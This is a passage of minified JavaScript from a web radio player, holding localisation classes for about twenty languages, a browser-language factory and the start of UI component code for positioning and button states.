this.setText("loadComplete", "\u9519\u8bef: \u4e0b\u8f7d\u7ed3\u675f"); |
| 8498 |
this.setText("soundComplete", "\u9519\u8bef: \u58f0\u97f3\u7ed3\u675f"); |
| 8499 |
this.setText("volume", "\u97f3\u91cf"); |
| 8500 |
this.setText("securityError", "\u5b89\u5168\u6027\u9519\u8bef"); |
| 8501 |
this.setText("about", "\u5173\u4e8eMuses Radio Player"); |
| 8502 |
this.setText("version", "\u7248\u672c"); |
| 8503 |
}; |
| 8504 |
ha.__name__ = ["muses", "internationalization", "Chinese"]; |
| 8505 |
ha.__super__ = d; |
| 8506 |
ha.prototype = k(d.prototype, { __class__: ha }); |
| 8507 |
var ia = function () { |
| 8508 |
this.byText = new v(); |
| 8509 |
this.setText("play", "Pokreni"); |
| 8510 |
this.setText("stop", "Zaustavi"); |
| 8511 |
this.setText("ioError", "Gre\u0161ka u mre\u017ei"); |
| 8512 |
this.setText( |
| 8513 |
"loadComplete", |
| 8514 |
"Gre\u0161ka: U\u010ditavanje zavr\u0161eno" |
| 8515 |
); |
| 8516 |
this.setText("soundComplete", "Gre\u0161ka: Zvuk zavr\u0161en"); |
| 8517 |
this.setText("volume", "Glasno\u0107a"); |
| 8518 |
this.setText("securityError", "Sigurnosna gre\u0161ka"); |
| 8519 |
this.setText("about", "O Muses Radio Player..."); |
| 8520 |
this.setText("version", "Verzija"); |
| 8521 |
}; |
| 8522 |
ia.__name__ = ["muses", "internationalization", "Croatian"]; |
| 8523 |
ia.__super__ = d; |
| 8524 |
ia.prototype = k(d.prototype, { __class__: ia }); |
| 8525 |
var ja = function () { |
| 8526 |
this.byText = new v(); |
| 8527 |
this.setText("play", "P\u0159ehr\u00e1t"); |
| 8528 |
this.setText("stop", "Zastavit"); |
| 8529 |
this.setText("intro", "\u00davod"); |
| 8530 |
this.setText("ioError", "Chyba s\u00edt\u011b"); |
| 8531 |
this.setText("loadComplete", "Chyba: na\u010dteno"); |
| 8532 |
this.setText("soundComplete", "Chyba: zvuk kompletn\u00ed"); |
| 8533 |
this.setText("volume", "Hlasitost"); |
| 8534 |
this.setText("securityError", "Chyba zabezpe\u010den\u00ed"); |
| 8535 |
this.setText("about", "O Muses Radio p\u0159ehr\u00e1va\u010di..."); |
| 8536 |
this.setText("version", "Verze"); |
| 8537 |
}; |
| 8538 |
ja.__name__ = ["muses", "internationalization", "Czech"]; |
| 8539 |
ja.__super__ = d; |
| 8540 |
ja.prototype = k(d.prototype, { __class__: ja }); |
| 8541 |
var ka = function () { |
| 8542 |
this.byText = new v(); |
| 8543 |
this.setText("play", "Afspelen"); |
| 8544 |
this.setText("stop", "Stoppen"); |
| 8545 |
this.setText("ioError", "Netwerkfout"); |
| 8546 |
this.setText("loadComplete", "Fout: Laden afgelopen"); |
| 8547 |
this.setText("soundComplete", "Fout: Geluid afgelopen"); |
| 8548 |
this.setText("volume", "Volume"); |
| 8549 |
this.setText("securityError", "Beveiligingsfout"); |
| 8550 |
this.setText("about", "Over Muses Radio Player..."); |
| 8551 |
this.setText("version", "Versie"); |
| 8552 |
this.setText("intro", "Intro"); |
| 8553 |
}; |
| 8554 |
ka.__name__ = ["muses", "internationalization", "Dutch"]; |
| 8555 |
ka.__super__ = d; |
| 8556 |
ka.prototype = k(d.prototype, { __class__: ka }); |
| 8557 |
var la = function () { |
| 8558 |
this.byText = new v(); |
| 8559 |
this.setText("play", "Play"); |
| 8560 |
this.setText("stop", "Stop"); |
| 8561 |
this.setText("ioError", "Network Error"); |
| 8562 |
this.setText("loadComplete", "Error: Load Complete"); |
| 8563 |
this.setText("soundComplete", "Error: Sound Complete"); |
| 8564 |
this.setText("volume", "Volume"); |
| 8565 |
this.setText("securityError", "Security Error"); |
| 8566 |
this.setText("about", "About Muses Radio Player..."); |
| 8567 |
this.setText("version", "Version"); |
| 8568 |
this.setText("intro", "Intro"); |
| 8569 |
}; |
| 8570 |
la.__name__ = ["muses", "internationalization", "English"]; |
| 8571 |
la.__super__ = d; |
| 8572 |
la.prototype = k(d.prototype, { __class__: la }); |
| 8573 |
var ma = function () { |
| 8574 |
this.byText = new v(); |
| 8575 |
this.setText("play", "Toista"); |
| 8576 |
this.setText("stop", "Pys\u00e4yt\u00e4"); |
| 8577 |
this.setText("ioError", "Verkkoyhteysvirhe"); |
| 8578 |
this.setText("loadComplete", "Lataaminen p\u00e4\u00e4ttyi"); |
| 8579 |
this.setText("soundComplete", "\u00c4\u00e4nentoisto p\u00e4\u00e4ttyi"); |
| 8580 |
this.setText("volume", "\u00c4\u00e4nenvoimakkuus"); |
| 8581 |
this.setText("securityError", "Tietoturvavirhe"); |
| 8582 |
this.setText("about", "Tietoja Muses Radio Player:sta..."); |
| 8583 |
this.setText("version", "Versio"); |
| 8584 |
}; |
| 8585 |
ma.__name__ = ["muses", "internationalization", "Finnish"]; |
| 8586 |
ma.__super__ = d; |
| 8587 |
ma.prototype = k(d.prototype, { __class__: ma }); |
| 8588 |
var na = function () { |
| 8589 |
this.byText = new v(); |
| 8590 |
this.setText("play", "Jouer"); |
| 8591 |
this.setText("stop", "Arr\u00eater"); |
| 8592 |
this.setText("ioError", "Erreur r\u00e9seau"); |
| 8593 |
this.setText("loadComplete", "Erreur: Chargement complet"); |
| 8594 |
this.setText("soundComplete", "Erreur: Son complet"); |
| 8595 |
this.setText("volume", "Volume"); |
| 8596 |
this.setText("securityError", "Erreur de s\u00e9curit\u00e9"); |
| 8597 |
this.setText("about", "A propos de Muses Radio Player..."); |
| 8598 |
this.setText("version", "Version"); |
| 8599 |
}; |
| 8600 |
na.__name__ = ["muses", "internationalization", "French"]; |
| 8601 |
na.__super__ = d; |
| 8602 |
na.prototype = k(d.prototype, { __class__: na }); |
| 8603 |
var W = function () { |
| 8604 |
this.byText = new v(); |
| 8605 |
this.setText("play", "Abspielen"); |
| 8606 |
this.setText("stop", "Stop"); |
| 8607 |
this.setText("ioError", "Netzwerk-Fehler"); |
| 8608 |
this.setText("loadComplete", "Fehler: Full Load"); |
| 8609 |
this.setText("soundComplete", "Fehler: Full Audio"); |
| 8610 |
this.setText("volume", "Lautst\u00e4rke"); |
| 8611 |
this.setText("securityError", "Sicherheit Fehler"); |
| 8612 |
this.setText("about", "\u00dcber Muses Radio Player..."); |
| 8613 |
this.setText("version", "Version"); |
| 8614 |
}; |
| 8615 |
W.__name__ = ["muses", "internationalization", "German"]; |
| 8616 |
W.__super__ = d; |
| 8617 |
W.prototype = k(d.prototype, { __class__: W }); |
| 8618 |
var oa = function () { |
| 8619 |
this.byText = new v(); |
| 8620 |
this.setText( |
| 8621 |
"play", |
| 8622 |
"\u0391\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae" |
| 8623 |
); |
| 8624 |
this.setText("stop", "\u0394\u03b9\u03b1\u03ba\u03bf\u03c0\u03ae"); |
| 8625 |
this.setText( |
| 8626 |
"ioError", |
| 8627 |
"\u03a3\u03c6\u03ac\u03bb\u03bc\u03b1 \u03b4\u03b9\u03ba\u03c4\u03cd\u03bf\u03c5" |
| 8628 |
); |
| 8629 |
this.setText( |
| 8630 |
"loadComplete", |
| 8631 |
"\u03a3\u03c6\u03ac\u03bb\u03bc\u03b1: \u03b7 \u03bc\u03b5\u03c4\u03b1\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7 \u03bf\u03bb\u03bf\u03ba\u03bb\u03b7\u03c1\u03ce\u03b8\u03b7\u03ba\u03b5" |
| 8632 |
); |
| 8633 |
this.setText( |
| 8634 |
"soundComplete", |
| 8635 |
"\u03a3\u03c6\u03ac\u03bb\u03bc\u03b1: \u03bf \u03ae\u03c7\u03bf\u03c2 \u03bf\u03bb\u03bf\u03ba\u03bb\u03b7\u03c1\u03ce\u03b8\u03b7\u03ba\u03b5" |
| 8636 |
); |
| 8637 |
this.setText("volume", "\u0388\u03bd\u03c4\u03b1\u03c3\u03b7"); |
| 8638 |
this.setText( |
| 8639 |
"securityError", |
| 8640 |
"\u03a3\u03c6\u03ac\u03bb\u03bc\u03b1 \u03b1\u03c3\u03c6\u03b1\u03bb\u03b5\u03af\u03b1\u03c2" |
| 8641 |
); |
| 8642 |
this.setText( |
| 8643 |
"about", |
| 8644 |
"\u03a0\u03b5\u03c1\u03af \u03c4\u03bf\u03c5 Muses Radio Player..." |
| 8645 |
); |
| 8646 |
this.setText("version", "\u0388\u03ba\u03b4\u03bf\u03c3\u03b7"); |
| 8647 |
this.setText("intro", "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae"); |
| 8648 |
}; |
| 8649 |
oa.__name__ = ["muses", "internationalization", "Greek"]; |
| 8650 |
oa.__super__ = d; |
| 8651 |
oa.prototype = k(d.prototype, { __class__: oa }); |
| 8652 |
var X = function () { |
| 8653 |
this.byText = new v(); |
| 8654 |
this.setText("play", "\u05de\u05ea\u05e0\u05d2\u05df"); |
| 8655 |
this.setText("stop", "\u05de\u05d5\u05e4\u05e1\u05e7"); |
| 8656 |
this.setText( |
| 8657 |
"ioError", |
| 8658 |
"\u05e9\u05d2\u05d9\u05d0\u05ea \u05d7\u05d9\u05d1\u05d5\u05e8" |
| 8659 |
); |
| 8660 |
this.setText( |
| 8661 |
"loadComplete", |
| 8662 |
"\u05e9\u05d2\u05d9\u05d0\u05d4: \u05d4\u05d8\u05e2\u05d9\u05e0\u05d4 \u05d4\u05e1\u05ea\u05d9\u05d9\u05de\u05d4" |
| 8663 |
); |
| 8664 |
this.setText( |
| 8665 |
"soundComplete", |
| 8666 |
"\u05e9\u05d2\u05d9\u05d0\u05d4: \u05d4\u05e9\u05de\u05e2 \u05d4\u05e1\u05ea\u05d9\u05d9\u05dd" |
| 8667 |
); |
| 8668 |
this.setText("volume", "\u05e2\u05d5\u05e6\u05de\u05d4"); |
| 8669 |
this.setText( |
| 8670 |
"securityError", |
| 8671 |
"\u05e9\u05d2\u05d9\u05d0\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4" |
| 8672 |
); |
| 8673 |
this.setText( |
| 8674 |
"about", |
| 8675 |
"\u05d0\u05d5\u05d3\u05d5\u05ea Muses Radio Player..." |
| 8676 |
); |
| 8677 |
this.setText("version", "\u05d2\u05d9\u05e8\u05e1\u05d4"); |
| 8678 |
this.setText("intro", "\u05e4\u05ea\u05d9\u05d7"); |
| 8679 |
}; |
| 8680 |
X.__name__ = ["muses", "internationalization", "Hebrew"]; |
| 8681 |
X.__super__ = d; |
| 8682 |
X.prototype = k(d.prototype, { |
| 8683 |
getTextAlign: function () { |
| 8684 |
return "right"; |
| 8685 |
}, |
| 8686 |
__class__: X, |
| 8687 |
}); |
| 8688 |
var pa = function () { |
| 8689 |
this.byText = new v(); |
| 8690 |
this.setText("play", "Lej\u00e1tsz\u00e1s"); |
| 8691 |
this.setText("stop", "Stop"); |
| 8692 |
this.setText("ioError", "Hl\u00f3zati hiba"); |
| 8693 |
this.setText( |
| 8694 |
"loadComplete", |
| 8695 |
"Hiba: a let\u00f6lt\u00e9s befejezod\u00f6tt" |
| 8696 |
); |
| 8697 |
this.setText("soundComplete", "Hiba: a hang megszakadt"); |
| 8698 |
this.setText("volume", "Hangero"); |
| 8699 |
this.setText("securityError", "Biztons\u00e1gi hiba"); |
| 8700 |
this.setText("about", "Bovebben az Muses Radio Player-r\u00f3l..."); |
| 8701 |
this.setText("version", "Verzi\u00f3"); |
| 8702 |
}; |
| 8703 |
pa.__name__ = ["muses", "internationalization", "Hungarian"]; |
| 8704 |
pa.__super__ = d; |
| 8705 |
pa.prototype = k(d.prototype, { __class__: pa }); |
| 8706 |
var qa = function () { |
| 8707 |
this.byText = new v(); |
| 8708 |
this.setText("play", "Seinn"); |
| 8709 |
this.setText("stop", "Stad"); |
| 8710 |
this.setText("intro", "Seoladh Isteach "); |
| 8711 |
this.setText("ioError", "Earr\u00e1id ar an L\u00edonra"); |
| 8712 |
this.setText( |
| 8713 |
"loadComplete", |
| 8714 |
"Earr\u00e1id: L\u00f3d curtha i gcr\u00edch" |
| 8715 |
); |
| 8716 |
this.setText("soundComplete", "Earr\u00e1id: Fuaim curtha i gcr\u00edch"); |
| 8717 |
this.setText("volume", "Airde"); |
| 8718 |
this.setText("securityError", "Earr\u00e1id Sl\u00e1nd\u00e1la"); |
| 8719 |
this.setText("about", "Maidir le Seinnteoir Raidi\u00f3 Muses..."); |
| 8720 |
this.setText("version", "Leagan"); |
| 8721 |
}; |
| 8722 |
qa.__name__ = ["muses", "internationalization", "Irish"]; |
| 8723 |
qa.__super__ = d; |
| 8724 |
qa.prototype = k(d.prototype, { __class__: qa }); |
| 8725 |
var ra = function () { |
| 8726 |
this.byText = new v(); |
| 8727 |
this.setText("play", "Riprodurre"); |
| 8728 |
this.setText("stop", "Fermare"); |
| 8729 |
this.setText("ioError", "Errore di rete"); |
| 8730 |
this.setText("loadComplete", "Erreur: Completo carico"); |
| 8731 |
this.setText("soundComplete", "Errore: Audio completo"); |
| 8732 |
this.setText("volume", "Volume"); |
| 8733 |
this.setText("securityError", "Errore di Sicurezza"); |
| 8734 |
this.setText("about", "Circa Muses Radio Player ..."); |
| 8735 |
this.setText("version", "Versione"); |
| 8736 |
}; |
| 8737 |
ra.__name__ = ["muses", "internationalization", "Italian"]; |
| 8738 |
ra.__super__ = d; |
| 8739 |
ra.prototype = k(d.prototype, { __class__: ra }); |
| 8740 |
var Ga = function () {}; |
| 8741 |
Ga.__name__ = ["muses", "internationalization", "LanguageFactory"]; |
| 8742 |
Ga.factory = function (a) { |
| 8743 |
if (null == a || "auto" == a) |
| 8744 |
(a = window.navigator.language), null != a && (a = a.split("-")[0]); |
| 8745 |
switch (a) { |
| 8746 |
case "bg": |
| 8747 |
return new ea(); |
| 8748 |
case "ca": |
| 8749 |
return new fa(); |
| 8750 |
case "cs": |
| 8751 |
return new ja(); |
| 8752 |
case "de": |
| 8753 |
return new W(); |
| 8754 |
case "el": |
| 8755 |
return new oa(); |
| 8756 |
case "es": |
| 8757 |
return new Y(); |
| 8758 |
case "fi": |
| 8759 |
return new ma(); |
| 8760 |
case "fr": |
| 8761 |
return new na(); |
| 8762 |
case "ga": |
| 8763 |
return new qa(); |
| 8764 |
case "ger": |
| 8765 |
return new W(); |
| 8766 |
case "he": |
| 8767 |
return new X(); |
| 8768 |
case "hr": |
| 8769 |
return new ia(); |
| 8770 |
case "hu": |
| 8771 |
return new pa(); |
| 8772 |
case "hy": |
| 8773 |
return new da(); |
| 8774 |
case "it": |
| 8775 |
return new ra(); |
| 8776 |
case "iw": |
| 8777 |
return new X(); |
| 8778 |
case "nb": |
| 8779 |
return new R(); |
| 8780 |
case "nl": |
| 8781 |
return new ka(); |
| 8782 |
case "nn": |
| 8783 |
return new R(); |
| 8784 |
case "nw": |
| 8785 |
return new R(); |
| 8786 |
case "pl": |
| 8787 |
return new sa(); |
| 8788 |
case "pt": |
| 8789 |
return new ta(); |
| 8790 |
case "ru": |
| 8791 |
return new ua(); |
| 8792 |
case "sl": |
| 8793 |
return new va(); |
| 8794 |
case "sp": |
| 8795 |
return new Y(); |
| 8796 |
case "sv": |
| 8797 |
return new wa(); |
| 8798 |
case "tr": |
| 8799 |
return new xa(); |
| 8800 |
case "tt": |
| 8801 |
return new ya(); |
| 8802 |
case "uk": |
| 8803 |
return new za(); |
| 8804 |
case "zh": |
| 8805 |
return new ha(); |
| 8806 |
} |
| 8807 |
return new la(); |
| 8808 |
}; |
| 8809 |
var R = function () { |
| 8810 |
this.byText = new v(); |
| 8811 |
this.setText("play", "Spill av"); |
| 8812 |
this.setText("stop", "Stopp"); |
| 8813 |
this.setText("ioError", "Nettverksfeil"); |
| 8814 |
this.setText("loadComplete", "Feil: Lasting fullf\u00f8rt"); |
| 8815 |
this.setText("soundComplete", "Feil: Lyd fullf\u00f8rt"); |
| 8816 |
this.setText("volume", "Volum"); |
| 8817 |
this.setText("securityError", "Sikkerhetsfeil"); |
| 8818 |
this.setText("about", "Om Muses Radio Player..."); |
| 8819 |
this.setText("version", "Versjon"); |
| 8820 |
}; |
| 8821 |
R.__name__ = ["muses", "internationalization", "Norwegian"]; |
| 8822 |
R.__super__ = d; |
| 8823 |
R.prototype = k(d.prototype, { __class__: R }); |
| 8824 |
var sa = function () { |
| 8825 |
this.byText = new v(); |
| 8826 |
this.setText("play", "Odtw\u00f3rz"); |
| 8827 |
this.setText("stop", "Stop"); |
| 8828 |
this.setText("ioError", "B\u0142\u0105d sieciowy"); |
| 8829 |
this.setText( |
| 8830 |
"loadComplete", |
| 8831 |
"B\u0142\u0105d: \u0141adowanie zako\u0144czone" |
| 8832 |
); |
| 8833 |
this.setText( |
| 8834 |
"soundComplete", |
| 8835 |
"B\u0142\u0105d: \u0141adowanie audio zako\u0144czone" |
| 8836 |
); |
| 8837 |
this.setText("volume", "G\u0142o\u015bno\u015b\u0107"); |
| 8838 |
this.setText("securityError", "B\u0142\u0105d zabezpiecze\u0144"); |
| 8839 |
this.setText("about", "O Muses Radio Player..."); |
| 8840 |
this.setText("version", "Wersja"); |
| 8841 |
}; |
| 8842 |
sa.__name__ = ["muses", "internationalization", "Polish"]; |
| 8843 |
sa.__super__ = d; |
| 8844 |
sa.prototype = k(d.prototype, { __class__: sa }); |
| 8845 |
var ta = function () { |
| 8846 |
this.byText = new v(); |
| 8847 |
this.setText("play", "Tocar"); |
| 8848 |
this.setText("stop", "Parar"); |
| 8849 |
this.setText("ioError", "Erro de Rede"); |
| 8850 |
this.setText("loadComplete", "Erro: terminou de carregar"); |
| 8851 |
this.setText("soundComplete", "Erro: fim do \u00e1udio"); |
| 8852 |
this.setText("volume", "Volume"); |
| 8853 |
this.setText("securityError", "Erro de Seguran\u00e7a"); |
| 8854 |
this.setText("about", "Sobre Muses Radio Player..."); |
| 8855 |
this.setText("version", "Vers\u00e3o"); |
| 8856 |
}; |
| 8857 |
ta.__name__ = ["muses", "internationalization", "Portuguese"]; |
| 8858 |
ta.__super__ = d; |
| 8859 |
ta.prototype = k(d.prototype, { __class__: ta }); |
| 8860 |
var ua = function () { |
| 8861 |
this.byText = new v(); |
| 8862 |
this.setText( |
| 8863 |
"play", |
| 8864 |
"\u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438" |
| 8865 |
); |
| 8866 |
this.setText( |
| 8867 |
"stop", |
| 8868 |
"\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c" |
| 8869 |
); |
| 8870 |
this.setText( |
| 8871 |
"ioError", |
| 8872 |
"\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f" |
| 8873 |
); |
| 8874 |
this.setText( |
| 8875 |
"loadComplete", |
| 8876 |
"\u041e\u0448\u0438\u0431\u043a\u0430: \u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430" |
| 8877 |
); |
| 8878 |
this.setText( |
| 8879 |
"soundComplete", |
| 8880 |
"\u041e\u0448\u0438\u0431\u043a\u0430: \u041e\u0448\u0438\u0431\u043a\u0430 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f" |
| 8881 |
); |
| 8882 |
this.setText( |
| 8883 |
"volume", |
| 8884 |
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0437\u0432\u0443\u043a\u0430" |
| 8885 |
); |
| 8886 |
this.setText( |
| 8887 |
"securityError", |
| 8888 |
"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e" |
| 8889 |
); |
| 8890 |
this.setText( |
| 8891 |
"about", |
| 8892 |
"\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e Muses Radio Player..." |
| 8893 |
); |
| 8894 |
this.setText("version", "\u0412\u0435\u0440\u0441\u0438\u044f"); |
| 8895 |
}; |
| 8896 |
ua.__name__ = ["muses", "internationalization", "Russian"]; |
| 8897 |
ua.__super__ = d; |
| 8898 |
ua.prototype = k(d.prototype, { __class__: ua }); |
| 8899 |
var va = function () { |
| 8900 |
this.byText = new v(); |
| 8901 |
this.setText("play", "Predvajaj"); |
| 8902 |
this.setText("stop", "Stop"); |
| 8903 |
this.setText("ioError", "Omre\u017ena napaka"); |
| 8904 |
this.setText("loadComplete", "Napaka: Nalaganje kon\u010dano"); |
| 8905 |
this.setText("soundComplete", "Napaka: Ni zvoka"); |
| 8906 |
this.setText("volume", "Glasnost"); |
| 8907 |
this.setText("securityError", "Varnostna napaka"); |
| 8908 |
this.setText("about", "O Muses Radio Player..."); |
| 8909 |
this.setText("version", "Verzija"); |
| 8910 |
this.setText("intro", "Uvod"); |
| 8911 |
}; |
| 8912 |
va.__name__ = ["muses", "internationalization", "Slovene"]; |
| 8913 |
va.__super__ = d; |
| 8914 |
va.prototype = k(d.prototype, { __class__: va }); |
| 8915 |
var Y = function () { |
| 8916 |
this.byText = new v(); |
| 8917 |
this.setText("play", "Reproducir"); |
| 8918 |
this.setText("stop", "Detener"); |
| 8919 |
this.setText("ioError", "Error de Red"); |
| 8920 |
this.setText("loadComplete", "Error: Carga completa"); |
| 8921 |
this.setText("soundComplete", "Error: Sonido completo"); |
| 8922 |
this.setText("volume", "Volumen"); |
| 8923 |
this.setText("securityError", "Error de Seguridad"); |
| 8924 |
this.setText("about", "Acerca de Muses Radio Player..."); |
| 8925 |
this.setText("version", "Versi\u00f3n"); |
| 8926 |
this.setText("intro", "Intro"); |
| 8927 |
}; |
| 8928 |
Y.__name__ = ["muses", "internationalization", "Spanish"]; |
| 8929 |
Y.__super__ = d; |
| 8930 |
Y.prototype = k(d.prototype, { __class__: Y }); |
| 8931 |
var wa = function () { |
| 8932 |
this.byText = new v(); |
| 8933 |
this.setText("play", "Spelar"); |
| 8934 |
this.setText("stop", "Stoppad"); |
| 8935 |
this.setText("ioError", "N\u00e4tverksfel"); |
| 8936 |
this.setText("loadComplete", "Fel: Laddning komplett"); |
| 8937 |
this.setText("soundComplete", "Fel: Ljud komplett"); |
| 8938 |
this.setText("volume", "Volym"); |
| 8939 |
this.setText("securityError", "S\u00e4kerhetsfel"); |
| 8940 |
this.setText("about", "Om Muses Radio Player..."); |
| 8941 |
this.setText("version", "Version"); |
| 8942 |
this.setText("intro", "Intro"); |
| 8943 |
}; |
| 8944 |
wa.__name__ = ["muses", "internationalization", "Swedish"]; |
| 8945 |
wa.__super__ = d; |
| 8946 |
wa.prototype = k(d.prototype, { __class__: wa }); |
| 8947 |
var ya = function () { |
| 8948 |
this.byText = new v(); |
| 8949 |
this.setText("play", "\u0423\u0439\u043d\u0430\u0442\u0443"); |
| 8950 |
this.setText("stop", "\u0422\u0443\u043a\u0442\u0430\u0442\u0443"); |
| 8951 |
this.setText("intro", "\u0418\u043d\u0442\u0440\u043e"); |
| 8952 |
this.setText( |
| 8953 |
"ioError", |
| 8954 |
"\u0427\u0435\u043b\u0442\u04d9\u0440 \u0425\u0430\u0442\u0430\u0441\u044b" |
| 8955 |
); |
| 8956 |
this.setText( |
| 8957 |
"loadComplete", |
| 8958 |
"\u0425\u0430\u0442\u0430: \u0419\u04e9\u043a\u043b\u04d9\u04af \u0442\u04d9\u043c\u0430\u043c" |
| 8959 |
); |
| 8960 |
this.setText( |
| 8961 |
"soundComplete", |
| 8962 |
"\u0425\u0430\u0442\u0430: \u0422\u0430\u0432\u044b\u0448 \u0442\u04d9\u043c\u0430\u043c" |
| 8963 |
); |
| 8964 |
this.setText("volume", "\u0422\u0430\u0432\u044b\u0448"); |
| 8965 |
this.setText( |
| 8966 |
"securityError", |
| 8967 |
"\u041a\u0443\u0440\u043a\u044b\u043d\u044b\u0447\u0441\u044b\u0437\u043b\u044b\u043a \u0445\u0430\u0442\u0430\u0441\u044b" |
| 8968 |
); |
| 8969 |
this.setText( |
| 8970 |
"about", |
| 8971 |
"Muses Radio Player \u0422\u0443\u0440\u044b\u043d\u0434\u0430..." |
| 8972 |
); |
| 8973 |
this.setText("version", "\u0412\u0435\u0440\u0441\u0438\u044f"); |
| 8974 |
}; |
| 8975 |
ya.__name__ = ["muses", "internationalization", "Tatar"]; |
| 8976 |
ya.__super__ = d; |
| 8977 |
ya.prototype = k(d.prototype, { __class__: ya }); |
| 8978 |
var xa = function () { |
| 8979 |
this.byText = new v(); |
| 8980 |
this.setText("play", "\u00c7al"); |
| 8981 |
this.setText("stop", "Durdur"); |
| 8982 |
this.setText("ioError", "A\u011f hatas\u0131"); |
| 8983 |
this.setText("loadComplete", "Hata: Y\u00fcklenme Tamamland\u0131"); |
| 8984 |
this.setText("soundComplete", "Hata: Yay\u0131n Tamamland\u0131"); |
| 8985 |
this.setText("volume", "Ses"); |
| 8986 |
this.setText("securityError", "G\u00fcvenlik Hatas\u0131"); |
| 8987 |
this.setText("about", "Muses Radio Player Hakk\u0131nda..."); |
| 8988 |
this.setText("version", "S\u00fcr\u00fcm"); |
| 8989 |
}; |
| 8990 |
xa.__name__ = ["muses", "internationalization", "Turkish"]; |
| 8991 |
xa.__super__ = d; |
| 8992 |
xa.prototype = k(d.prototype, { __class__: xa }); |
| 8993 |
var za = function () { |
| 8994 |
this.byText = new v(); |
| 8995 |
this.setText( |
| 8996 |
"play", |
| 8997 |
"\u0412\u0456\u0434\u0442\u0432\u043e\u0440\u0438\u0442\u0438" |
| 8998 |
); |
| 8999 |
this.setText("stop", "\u0417\u0443\u043f\u0438\u043d\u0438\u0442\u0438"); |
| 9000 |
this.setText( |
| 9001 |
"ioError", |
| 9002 |
"\u041f\u043e\u043c\u0438\u043b\u043a\u0430 \u043c\u0435\u0440\u0435\u0436\u0456" |
| 9003 |
); |
| 9004 |
this.setText( |
| 9005 |
"loadComplete", |
| 9006 |
"\u041f\u043e\u043c\u0438\u043b\u043a\u0430: \u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e" |
| 9007 |
); |
| 9008 |
this.setText( |
| 9009 |
"soundComplete", |
| 9010 |
"\u041f\u043e\u043c\u0438\u043b\u043a\u0430: \u0417\u0432\u0443\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e" |
| 9011 |
); |
| 9012 |
this.setText( |
| 9013 |
"volume", |
| 9014 |
"\u0433\u0443\u0447\u043d\u0456\u0441\u0442\u044c" |
| 9015 |
); |
| 9016 |
this.setText( |
| 9017 |
"securityError", |
| 9018 |
"\u041f\u043e\u043c\u0438\u043b\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0443" |
| 9019 |
); |
| 9020 |
this.setText("about", "\u041f\u0440\u043e Muses Radio Player..."); |
| 9021 |
this.setText("version", "\u0412\u0435\u0440\u0441\u0456\u044f"); |
| 9022 |
this.setText( |
| 9023 |
"intro", |
| 9024 |
"\u0412\u0441\u0442\u0443\u043f\u043d\u0435 \u0432\u0456\u0442\u0430\u043d\u043d\u044f" |
| 9025 |
); |
| 9026 |
}; |
| 9027 |
za.__name__ = ["muses", "internationalization", "Ukrainian"]; |
| 9028 |
za.__super__ = d; |
| 9029 |
za.prototype = k(d.prototype, { __class__: za }); |
| 9030 |
var C = function (a) { |
| 9031 |
this.styleWidth = this.styleHeight = 0; |
| 9032 |
this.ui = a; |
| 9033 |
this.configured = !1; |
| 9034 |
this.container = window.document.createElement("div"); |
| 9035 |
this.container.style.position = "absolute"; |
| 9036 |
}; |
| 9037 |
C.__name__ = ["muses", "skin", "UIComponent"]; |
| 9038 |
C.prototype = { |
| 9039 |
setVisible: function (a) { |
| 9040 |
this.container.style.display = a ? "block" : "none"; |
| 9041 |
}, |
| 9042 |
configure: function (a) { |
| 9043 |
this.configured = !0; |
| 9044 |
var b = B.parseInt(a.get("x"), 0); |
| 9045 |
this.container.style.left = b + "px"; |
| 9046 |
b = B.parseInt(a.get("y"), 0); |
| 9047 |
this.container.style.top = b + "px"; |
| 9048 |
this.styleWidth = B.parseInt(a.get("width"), 0); |
| 9049 |
this.styleHeight = B.parseInt(a.get("height"), 0); |
| 9050 |
null != a.get("width") && |
| 9051 |
(this.container.style.width = this.styleWidth + "px"); |
| 9052 |
null != a.get("height") && |
| 9053 |
(this.container.style.height = this.styleHeight + "px"); |
| 9054 |
}, |
| 9055 |
appendChild: function (a, b) { |
| 9056 |
null == b && (b = !0); |
| 9057 |
a.style.position = "absolute"; |
| 9058 |
a.style.left = a.style.top = "0px"; |
| 9059 |
a.style.display = b ? "block" : "none"; |
| 9060 |
this.container.appendChild(a); |
| 9061 |
}, |
| 9062 |
__class__: C, |
| 9063 |
}; |
| 9064 |
var V = function (a, b) { |
| 9065 |
var c = this; |
| 9066 |
C.call(this, a); |
| 9067 |
this.mouseOverState = new Image(); |
| 9068 |
this.mouseDownState = new Image(); |
| 9069 |
this.noMouseState = new Image(); |
| 9070 |
this.container.title = b; |
| 9071 |
this.mouseDownState.style.opacity = "0"; |
| 9072 |
this.mouseOverState.style.opacity = "0"; |
| 9073 |
this.container.onmouseup = function (a) { |
| 9074 |
c.mouseDownState.style.opacity = "0"; |
| 9075 |
c.mouseOverState.style.opacity = "1"; |
| 9076 |
}; |
| 9077 |
this.container.onmousedown = function (a) { |
| 9078 |
c.mouseDownState.style.opacity = "1"; |
| 9079 |
c.mouseOverState.style.opacity = "0"; |
| 9080 |
}; |
| 9081 |
this.container.onmouseover = function (a) { |
| 9082 |
c.mouseOverState.style.opacity = "1"; |
| 9083 |
}; |
| 9084 |
this.container.onmouseout = function (a) { |
| 9085 |
